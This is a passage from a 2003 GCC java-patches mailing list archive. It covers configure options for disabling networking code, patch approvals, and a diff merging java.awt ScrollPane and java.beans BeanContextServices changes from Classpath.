java-patches@gcc.gnu.org Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch Date: Tue, 18 Mar 2003 09:53:27 +0100 User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303180953.27197.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 18. M=E4rz 2003 09:34 schrieb Mohan Embar: > Hi Michael, > > >Does this PLATFORMNET=3DNoNet have to be removed for someone ? mingw > >users or so ? > > It's not a MingW-specific thing. I don't think it make sense to > have it here because you are unnecessarily disabling net > functionality in a cross-built library. There isn't any reason to > do this (unless my understanding of cross builds is incorrect). This "PLATFORMNET=3DNoNet" just disables networking code just for newlib=20 users, not for all cross builds, as understand the configure.in code. > >> This would disable the net code regardless of platform if they > >> chose --disable-java-net. > > > >Do we really need this ? I thought we only need it for newlib > > users ? Of course we can add an AC_ENABLE(java-net,...) if needed > > later. > > I wasn't clear from Tom's message: > > http://gcc.gnu.org/ml/java-patches/2003-q1/msg00788.html > > ..if he was: > > - in favor of retaining the current --disable-java-net > functionality exactly as it exists today > > - only supporting net-less builds for newlib targets > > My comment was based on the assumption that for the moment, > today's functionality is retained as-is. Let us Tom decide what he means when he arrives in his office (or=20 elsewhere). BTW: it helps if you CC the writer of the mail and thats the common=20 case on this list. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dt6HWSOgCCdjSDsRAqk/AJ9OLg8qfZwJuerSFyKqEU3pTBLnUgCggdC6 DwrjvN3DQkIk8awmiuI/Ezk=3D =3D5WwF =2D----END PGP SIGNATURE----- From java-patches-return-6524-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 08:52:32 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 21751 invoked by alias); 18 Mar 2003 08:52:31 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 21652 invoked from network); 18 Mar 2003 08:52:29 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 18 Mar 2003 08:52:29 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2I8qMn16757; Tue, 18 Mar 2003 08:52:22 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15990.56901.565509.745318@cuddles.cambridge.redhat.com> Date: Tue, 18 Mar 2003 08:52:21 +0000 (GMT) To: tromey@redhat.com Cc: GCC libjava patches , Gcc Patch List Subject: Patch: gcj support for lex timevar In-Reply-To: <874r6135m8.fsf@fleche.redhat.com> References: <874r6135m8.fsf@fleche.redhat.com> Tom Tromey writes: > This patch adds support for the TV_LEX timevar to gcj. > > Ok for trunk? > > Tom > > Index: gcc/java/ChangeLog > from Tom Tromey > > * lex.c (do_java_lex): Renamed from java_lex. > (java_lex): New function. > Include timevar.h. OK. Andrew. From java-patches-return-6525-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 09:34:39 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3466 invoked by alias); 18 Mar 2003 09:34:38 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3228 invoked from network); 18 Mar 2003 09:34:35 -0000 Received: from unknown (HELO cuddles.cambridge.redhat.com) (81.96.64.123) by sources.redhat.com with SMTP; 18 Mar 2003 09:34:35 -0000 Received: (from aph@localhost) by cuddles.cambridge.redhat.com (8.11.6/8.11.0) id h2I9XvR16800; Tue, 18 Mar 2003 09:33:57 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15990.59397.938582.765048@cuddles.cambridge.redhat.com> Date: Tue, 18 Mar 2003 09:33:57 +0000 (GMT) To: Zack Weinberg Cc: tromey@redhat.com, gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Squelch Java use of HOST_FLOAT_WORDS_BIG_ENDIAN (take two) In-Reply-To: <871y159qa2.fsf@egil.codesourcery.com> References: <871y1bx963.fsf@egil.codesourcery.com> <87n0jx7u34.fsf@egil.codesourcery.com> <87r8951hla.fsf@fleche.redhat.com> <871y159qa2.fsf@egil.codesourcery.com> Zack Weinberg writes: > Tom Tromey writes: > > >>>>>> "Zack" == Zack Weinberg writes: > > > > Zack> Re-revised patch which gets decimal floating point output in > > Zack> jcf-dump right for normalized numbers. > > > > Thanks for doing this. > > > > It looks fine to me, but Andrew or Per must approve or reject. > > I think I could technically check it in on my own authority but I'd > prefer to get a reaction from Andrew or Per first. It looks good, but I wanted to apply it and look at the ouput first. I'll be able to do that in the next day or so. Andrew. From java-patches-return-6526-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 13:35:16 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 22362 invoked by alias); 18 Mar 2003 13:35:16 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 22318 invoked from network); 18 Mar 2003 13:35:15 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 18 Mar 2003 13:35:15 -0000 Received: from p733 (adsl-68-74-196-14.dsl.milwwi.ameritech.net [68.74.196.14]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2IDZFh23624; Tue, 18 Mar 2003 07:35:15 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org, Michael Koch Date: Tue, 18 Mar 2003 07:35:28 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <200303180953.27197.konqueror@gmx.de> Message-Id: Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Michael, >This "PLATFORMNET=NoNet" just disables networking code just for newlib >users, not for all cross builds, as understand the configure.in code. Oops. I just realized that I had applied this patch: http://gcc.gnu.org/ml/java-patches/2003-q1/msg00676.html ...and was seeing things from a different perspective. Terribly sorry about this. Ranjit, now I need you to help me sort this out. Michael wants to set PLATFORMNET just for newlib builds, which would be erased by your patch. What now? >BTW: it helps if you CC the writer of the mail and thats the common >case on this list. I'll do this with you from now on. I personally find it confusing to get duplicate emails in my inbox, but if this is the convention, I'll respect it. I wasn't clear on this. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6527-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 14:56:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 16018 invoked by alias); 18 Mar 2003 14:56:50 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 15940 invoked from network); 18 Mar 2003 14:56:50 -0000 Received: from unknown (HELO mail0.ewetel.de) (212.6.122.12) by sources.redhat.com with SMTP; 18 Mar 2003 14:56:50 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-73-215.ewetel.net [80.228.73.215]) by mail0.ewetel.de (8.12.1/8.12.1) with ESMTP id h2IEumdx002849; Tue, 18 Mar 2003 15:56:48 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vIVA-00032Q-00; Tue, 18 Mar 2003 15:55:40 +0100 From: Michael Koch To: gnustuff@thisiscool.com, java-patches@gcc.gnu.org Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch Date: Tue, 18 Mar 2003 15:57:50 +0100 User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Type: Text/Plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline Message-Id: <200303181557.50455.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 18. M=E4rz 2003 14:35 schrieb Mohan Embar: > Hi Michael, > > >This "PLATFORMNET=3DNoNet" just disables networking code just for > > newlib users, not for all cross builds, as understand the > > configure.in code. > > Oops. I just realized that I had applied this patch: > > http://gcc.gnu.org/ml/java-patches/2003-q1/msg00676.html > > ..and was seeing things from a different perspective. Terribly > sorry about this. > > Ranjit, now I need you to help me sort this out. > > Michael wants to set PLATFORMNET just for newlib builds, which > would be erased by your patch. What now? Hmm. Introducing --enable-networking (or similar) is fine for me too. We just have to make sure to tell the newlib users to use this=20 configure parameter. IMO --enable-java-net is irritating as java.net code will still be as=20 dummy in the resulting binaries and it can enable/disable networking=20 code in the future java.nio too. > >BTW: it helps if you CC the writer of the mail and thats the > > common case on this list. > > I'll do this with you from now on. I personally find it confusing > to get duplicate emails in my inbox, but if this is the convention, > I'll respect it. I wasn't clear on this. I dont know if it is a real convention. I just think its useful and=20 Tom and Andrew are doing it too. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+dzPuWSOgCCdjSDsRAlEXAKCZrrT3y6Z/4gcL7paHD4z32aNdhwCeMs3o 8zcp3IFU09WrFB6HZnd1sx0=3D =3DM9w6 =2D----END PGP SIGNATURE----- From java-patches-return-6528-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 16:11:36 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19576 invoked by alias); 18 Mar 2003 16:11:35 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19555 invoked from network); 18 Mar 2003 16:11:34 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 18 Mar 2003 16:11:34 -0000 Received: from p733 (adsl-68-74-196-14.dsl.milwwi.ameritech.net [68.74.196.14]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2IGBXE10759; Tue, 18 Mar 2003 10:11:33 -0600 From: Mohan Embar To: java-patches@gcc.gnu.org, Michael Koch Date: Tue, 18 Mar 2003 10:11:45 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <200303181557.50455.konqueror@gmx.de> Message-Id: Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch MIME-Version: 1.0 Content-Type: text/plain; charset="windows-1252" Hi Michael, >Hmm. Introducing --enable-networking (or similar) is fine for me too. >We just have to make sure to tell the newlib users to use this >configure parameter. > >IMO --enable-java-net is irritating as java.net code will still be as >dummy in the resulting binaries and it can enable/disable networking >code in the future java.nio too. I'm not clear on what the difference between --enable-networking and --enable-java-net would be. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6529-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 16:32:24 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1095 invoked by alias); 18 Mar 2003 16:32:23 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1049 invoked from network); 18 Mar 2003 16:32:23 -0000 Received: from unknown (HELO egil.codesourcery.com) (66.92.14.122) by sources.redhat.com with SMTP; 18 Mar 2003 16:32:23 -0000 Received: from zack by egil.codesourcery.com with local (Exim 3.36 #1 (Debian)) id 18vK0j-00023v-00; Tue, 18 Mar 2003 08:32:21 -0800 To: Andrew Haley Cc: tromey@redhat.com, gcc-patches@gcc.gnu.org, java-patches@gcc.gnu.org Subject: Re: Squelch Java use of HOST_FLOAT_WORDS_BIG_ENDIAN (take two) From: Zack Weinberg Date: Tue, 18 Mar 2003 08:32:21 -0800 In-Reply-To: <15990.59397.938582.765048@cuddles.cambridge.redhat.com> (Andrew Haley's message of "Tue, 18 Mar 2003 09:33:57 +0000 (GMT)") Message-ID: <87hea0pre2.fsf@egil.codesourcery.com> User-Agent: Gnus/5.090016 (Oort Gnus v0.16) Emacs/21.2 References: <871y1bx963.fsf@egil.codesourcery.com> <87n0jx7u34.fsf@egil.codesourcery.com> <87r8951hla.fsf@fleche.redhat.com> <871y159qa2.fsf@egil.codesourcery.com> <15990.59397.938582.765048@cuddles.cambridge.redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Andrew Haley writes: > > > Zack> Re-revised patch which gets decimal floating point output in > > > Zack> jcf-dump right for normalized numbers. ... > It looks good, but I wanted to apply it and look at the ouput first. > I'll be able to do that in the next day or so. Okay, I look forward to hearing from you. zw From java-patches-return-6530-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 18:10:59 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 5008 invoked by alias); 18 Mar 2003 18:10:58 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4982 invoked from network); 18 Mar 2003 18:10:58 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 18 Mar 2003 18:10:58 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-68-250.ewetel.net [80.228.68.250]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2IIAu8G000096 for ; Tue, 18 Mar 2003 19:10:57 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vLX2-0003BU-00 for ; Tue, 18 Mar 2003 19:09:48 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: Re: RFC: Moving native code in java.net into architecture dependant files - updated patch Date: Tue, 18 Mar 2003 19:11:58 +0100 User-Agent: KMail/1.5 References: In-Reply-To: MIME-Version: 1.0 Content-Description: clearsigned data Content-Disposition: inline Content-Type: Text/Plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Message-Id: <200303181911.58688.konqueror@gmx.de> X-CheckCompat: OK =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Am Dienstag, 18. M=E4rz 2003 17:11 schrieben Sie: > Hi Michael, > > >Hmm. Introducing --enable-networking (or similar) is fine for me > > too. We just have to make sure to tell the newlib users to use > > this configure parameter. > > > >IMO --enable-java-net is irritating as java.net code will still be > > as dummy in the resulting binaries and it can enable/disable > > networking code in the future java.nio too. > > I'm not clear on what the difference between --enable-networking > and --enable-java-net would be. IMO the name enable-networking is better suited then enable-java-net for the same thing. Michael =2D -- Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+d2FuWSOgCCdjSDsRAumwAJwIxql8g+KrhM1F6FQn3bpO7r+4FgCdEH2Y YQQ3RsbxAYFoidsZx7j90z4=3D =3DHq5o =2D----END PGP SIGNATURE----- From java-patches-return-6531-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Tue Mar 18 18:17:06 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 4623 invoked by alias); 18 Mar 2003 18:17:06 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 4607 invoked from network); 18 Mar 2003 18:17:05 -0000 Received: from unknown (HELO mail1.ewetel.de) (212.6.122.14) by sources.redhat.com with SMTP; 18 Mar 2003 18:17:05 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-68-250.ewetel.net [80.228.68.250]) by mail1.ewetel.de (8.12.1/8.12.1) with ESMTP id h2IIH2jL000577 for ; Tue, 18 Mar 2003 19:17:03 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18vLcw-0003C7-00 for ; Tue, 18 Mar 2003 19:15:54 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: classpath merge - java.awt and java.beans Date: Tue, 18 Mar 2003 19:18:04 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_cL2d+Pz+uWS0qTv" Message-Id: <200303181918.04710.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_cL2d+Pz+uWS0qTv Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached patch to merge java.awt and java.beans again=20 with classpath. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+d2LcWSOgCCdjSDsRAjwDAJ9Ndf2DPCMaQmC9WczA9cH4ewti/ACfeica vPz2WQm0zD7d8gDTXPs26s0=3D =3DEaf9 =2D----END PGP SIGNATURE----- --Boundary-00=_cL2d+Pz+uWS0qTv Content-Type: text/x-diff; charset="iso-8859-15"; name="awt.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="awt.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1788 diff -u -r1.1788 ChangeLog --- ChangeLog 18 Mar 2003 07:50:18 -0000 1.1788 +++ ChangeLog 18 Mar 2003 18:15:34 -0000 @@ -1,5 +1,20 @@ 2003-03-18 Michael Koch + * java/awt/ScrollPane.java + (ScrollPane): Rewrote for new ScrollPaneAdjustable. + (getViewportSize): Likewise. + (addNotify): Likewise. + (removeNotify): Likewise. + * java/awt/ScrollPaneAdjustable.java + (ScrollPaneAdjustable): No longer extends Scrollbar. + * java/beans/beancontext/BeanContextServices.java: + Reformated. + (getService): Added throws TooManyListenersException; + * java/beans/beancontext/BeanContextServicesSupport.java: + Reformated. + +2003-03-18 Michael Koch + * java/io/BufferedOutputStream.java, java/io/DataInput.java, java/io/DataInputStream.java, Index: java/awt/ScrollPane.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ScrollPane.java,v retrieving revision 1.11 diff -u -r1.11 ScrollPane.java --- java/awt/ScrollPane.java 2 Mar 2003 19:24:49 -0000 1.11 +++ java/awt/ScrollPane.java 18 Mar 2003 18:15:34 -0000 @@ -153,8 +153,8 @@ if (scrollbarDisplayPolicy != SCROLLBARS_NEVER) { - hAdjustable = new ScrollPaneAdjustable(Scrollbar.HORIZONTAL); - vAdjustable = new ScrollPaneAdjustable(Scrollbar.VERTICAL); + hAdjustable = new ScrollPaneAdjustable (this, Scrollbar.HORIZONTAL); + vAdjustable = new ScrollPaneAdjustable (this, Scrollbar.VERTICAL); } wheelScrollingEnabled = true; @@ -215,23 +215,17 @@ * * @return The viewport size. */ -public Dimension -getViewportSize() +public Dimension getViewportSize () { - Dimension viewsize = getSize(); - Insets insets = getInsets(); - viewsize.width = viewsize.width - (insets.left + insets.right); - viewsize.height = viewsize.height - (insets.top + insets.bottom); - - ScrollPaneAdjustable v = (ScrollPaneAdjustable)getVAdjustable(); - ScrollPaneAdjustable h = (ScrollPaneAdjustable)getHAdjustable(); - - if ((v != null) && v.isVisible()) - viewsize.width = viewsize.width - v.getSize().width; - if ((h != null) && h.isVisible()) - viewsize.height = viewsize.height - v.getSize().height; - - return(viewsize); + Dimension viewsize = getSize (); + Insets insets = getInsets (); + viewsize.width = (viewsize.width + - (insets.left + insets.right) + - getVScrollbarWidth ()); + viewsize.height = (viewsize.height + - (insets.top + insets.bottom) + - getHScrollbarHeight ()); + return viewsize; } /*************************************************************************/ @@ -347,11 +341,7 @@ return; setPeer((ComponentPeer)getToolkit().createScrollPane(this)); - - if (hAdjustable != null) - hAdjustable.addNotify(); - if (vAdjustable != null) - vAdjustable.removeNotify(); + super.addNotify(); } /*************************************************************************/ @@ -362,11 +352,6 @@ public void removeNotify() { - if (hAdjustable != null) - hAdjustable.removeNotify(); - if (vAdjustable != null) - vAdjustable.removeNotify(); - super.removeNotify(); } Index: java/awt/ScrollPaneAdjustable.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/awt/ScrollPaneAdjustable.java,v retrieving revision 1.4 diff -u -r1.4 ScrollPaneAdjustable.java --- java/awt/ScrollPaneAdjustable.java 17 Mar 2003 16:40:30 -0000 1.4 +++ java/awt/ScrollPaneAdjustable.java 18 Mar 2003 18:15:34 -0000 @@ -49,7 +49,6 @@ * @since 1.4 */ public class ScrollPaneAdjustable - extends Scrollbar implements Adjustable, Serializable { private static final long serialVersionUID = -3359745691033257079L; @@ -60,13 +59,14 @@ int minimum; int maximum; int visibleAmount; - int unitIncrement; - int blockIncrement; + int unitIncrement = 1; + int blockIncrement = 1; AdjustmentListener adjustmentListener; - ScrollPaneAdjustable (int orientation) + ScrollPaneAdjustable (ScrollPane sp, int orientation) { - throw new Error ("not implemented"); + this.sp = sp; + this.orientation = orientation; } ScrollPaneAdjustable (ScrollPane sp, int orientation, int value, int minimum, Index: java/beans/beancontext/BeanContextServices.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/beans/beancontext/BeanContextServices.java,v retrieving revision 1.2 diff -u -r1.2 BeanContextServices.java --- java/beans/beancontext/BeanContextServices.java 22 Jan 2002 22:40:12 -0000 1.2 +++ java/beans/beancontext/BeanContextServices.java 18 Mar 2003 18:15:34 -0000 @@ -39,6 +39,7 @@ package java.beans.beancontext; import java.util.Iterator; +import java.util.TooManyListenersException; /** * Allows a BeanContext to provide services to its children. @@ -46,161 +47,172 @@ * @specnote it is unclear whether a BeanContextServices * should delegate unhandled requests to parents. I assume so. * @author John Keiser - * @since JDK1.2 + * @since 1.2 */ -public interface BeanContextServices extends BeanContext, BeanContextServicesListener { - /** - * Register a service to make it available to others. - * This class may refuse to add the service based on whatever - * information it can gather, including whether the service - * provider is trusted. - * - * @param serviceClass the service class. - * @param provider the factory that will actually provide the service. - * @return whether the service was added or not. - */ - public boolean addService(Class serviceClass, BeanContextServiceProvider provider); - - /** - * Make it so that no one else can use this service. - *

          - * - * If revokeNow is false, the only - * effect of this method is to make all subsequent calls to - * getService() on this service class fail. - *

          - * - * If it is true, a message is also sent out to all - * listeners on the service and all references to it are released. - * - * @param serviceClass the service class to revoke. - * @param provider the service provider providing the service class. - * @param revokeNow whether to release all current references to - * the service. - */ - public void revokeService(Class serviceClass, BeanContextServiceProvider provider, boolean revokeNow); - - /** - * Release your copy of this service. - *

          - * - * If all copies of the service's class have been relinquished by - * the requestor, the BeanContextServiceRevokedListener - * previously registered by getService() will be - * unregistered. - * - * @param requestorChild the original BeanContextChild - * requesting the service. - * @param requestor the original requestor of the service. - * @param service the service to relinquish - * @see #getService(java.beans.beancontext.BeanContextChild,java.lang.Object,java.lang.Class,java.lang.Object,java.beans.beancontext.BeanContextServiceRevokedListener) - */ - public void releaseService(BeanContextChild requestorChild, Object requestor, Object service); - - /** - * Get a service from this BeanContextServices. - *

          - * - * The specified listener will be registered to receive a - * revocation notice for the specified serviceClass. One - * notification per service class per requestor object will be - * sent. - *

          - * - * The listener will be unregistered when all services that were - * obtained by that requestor for that service class are released. - *

          - * - * If the requested service class is not available, or if this - * BeanContextServices object chooses not honor the - * request because the service class has been revoked or for some - * other reason, then this method will return null. - *

          - * - * This method may throw unchecked exceptions, so watch out. - * - * @specnote it is not specified what happens when two subsequent - * calls are made to getService() with the - * same requestor object and service class but different - * listeners. Which listener is to be notified? - * - * @param requestorChild the BeanContextChild - * associated with the requestor. Typically this will be - * the same as the requestor itself, but since any - * Object, even one outside the hierarchy, may - * make a request, this parameter is necessary. Only weak - * references to this will be retained, and it will never - * be changed, only queried in a read-only manner. - * @param requestor the actual requestor of the service. Only - * weak references to this will be retained, and it will - * never be changed, only queried in a read-only manner. - * @param serviceClass the Class of the service being - * requested. - * @param serviceSelector a parameter to customize the service - * returned with. - * @param listener a listener that will be notified if the service - * being requested is revoked. - * @return an instance of serviceClass (such that - * instanceof serviceClass is true), or - * null. - */ - public Object getService(BeanContextChild requestorChild, Object requestor, Class serviceClass, Object serviceSelector, BeanContextServiceRevokedListener listener); - - /** - * Get a list of all service classes supported. - *

          - * - * This method must synchronize on - * BeanContext.globalHierarchyLock. - * - * @return a list of all service classes supported. - * @see java.beans.beancontext.BeanContext#globalHierarchyLock - */ - public Iterator getCurrentServiceClasses(); - - /** - * Get a list of valid service selectors for the specified service class. - *

          - * - * If the specified service class does not have a finite number of - * valid service selectors, it should return null. - * If it takes a general Integer parameter, for - * example, you may as well return null or the poor - * soul who called this method will be iterating all day. - *

          - * - * If it has no valid service selectors, it should still return an empty - * Iterator. - * - * @param serviceClass the service class to get selectors for. - * @return a list of valid service selectors for the service - * class, or null. - */ - public Iterator getCurrentServiceSelectors(Class serviceClass); - - /** - * Tell whether the specified service class is available. - * Iff getService() could return a non-null value for the - * specified service, this method will return true. - * - * @param serviceClass the service class to check on. - * @return whether the specified service class is availabe. - */ - public boolean hasService(Class serviceClass); - - /** - * Add a listener on all adds and removes of services. - * @param listener the listener to add. - */ - public void addBeanContextServicesListener(BeanContextServicesListener listener); - - /** - * Remove a listener on all adds and removes of services. - * @specnote it is not certain whether this should remove this - * listener if it was specified in - * getService(). - * @param listener the listener to add. - */ - public void removeBeanContextServicesListener(BeanContextServicesListener listener); +public interface BeanContextServices + extends BeanContext, BeanContextServicesListener +{ + /** + * Register a service to make it available to others. + * This class may refuse to add the service based on whatever + * information it can gather, including whether the service + * provider is trusted. + * + * @param serviceClass the service class. + * @param provider the factory that will actually provide the service. + * @return whether the service was added or not. + */ + public boolean addService (Class serviceClass, + BeanContextServiceProvider provider); + + /** + * Make it so that no one else can use this service. + *

          + * + * If revokeNow is false, the only + * effect of this method is to make all subsequent calls to + * getService() on this service class fail. + *

          + * + * If it is true, a message is also sent out to all + * listeners on the service and all references to it are released. + * + * @param serviceClass the service class to revoke. + * @param provider the service provider providing the service class. + * @param revokeNow whether to release all current references to + * the service. + */ + public void revokeService (Class serviceClass, + BeanContextServiceProvider provider, + boolean revokeNow); + + /** + * Release your copy of this service. + *

          + * + * If all copies of the service's class have been relinquished by + * the requestor, the BeanContextServiceRevokedListener + * previously registered by getService() will be + * unregistered. + * + * @param requestorChild the original BeanContextChild + * requesting the service. + * @param requestor the original requestor of the service. + * @param service the service to relinquish + * @see #getService(java.beans.beancontext.BeanContextChild,java.lang.Object,java.lang.Class,java.lang.Object,java.beans.beancontext.BeanContextServiceRevokedListener) + */ + public void releaseService (BeanContextChild requestorChild, Object requestor, + Object service); + + /** + * Get a service from this BeanContextServices. + *

          + * + * The specified listener will be registered to receive a + * revocation notice for the specified serviceClass. One + * notification per service class per requestor object will be + * sent. + *

          + * + * The listener will be unregistered when all services that were + * obtained by that requestor for that service class are released. + *

          + * + * If the requested service class is not available, or if this + * BeanContextServices object chooses not honor the + * request because the service class has been revoked or for some + * other reason, then this method will return null. + *

          + * + * This method may throw unchecked exceptions, so watch out. + * + * @specnote it is not specified what happens when two subsequent + * calls are made to getService() with the + * same requestor object and service class but different + * listeners. Which listener is to be notified? + * + * @param requestorChild the BeanContextChild + * associated with the requestor. Typically this will be + * the same as the requestor itself, but since any + * Object, even one outside the hierarchy, may + * make a request, this parameter is necessary. Only weak + * references to this will be retained, and it will never + * be changed, only queried in a read-only manner. + * @param requestor the actual requestor of the service. Only + * weak references to this will be retained, and it will + * never be changed, only queried in a read-only manner. + * @param serviceClass the Class of the service being + * requested. + * @param serviceSelector a parameter to customize the service + * returned with. + * @param listener a listener that will be notified if the service + * being requested is revoked. + * @return an instance of serviceClass (such that + * instanceof serviceClass is true), or + * null. + */ + public Object getService (BeanContextChild requestorChild, Object requestor, + Class serviceClass, Object serviceSelector, + BeanContextServiceRevokedListener listener) + throws TooManyListenersException; + + /** + * Get a list of all service classes supported. + *

          + * + * This method must synchronize on + * BeanContext.globalHierarchyLock. + * + * @return a list of all service classes supported. + * @see java.beans.beancontext.BeanContext#globalHierarchyLock + */ + public Iterator getCurrentServiceClasses (); + + /** + * Get a list of valid service selectors for the specified service class. + *

          + * + * If the specified service class does not have a finite number of + * valid service selectors, it should return null. + * If it takes a general Integer parameter, for + * example, you may as well return null or the poor + * soul who called this method will be iterating all day. + *

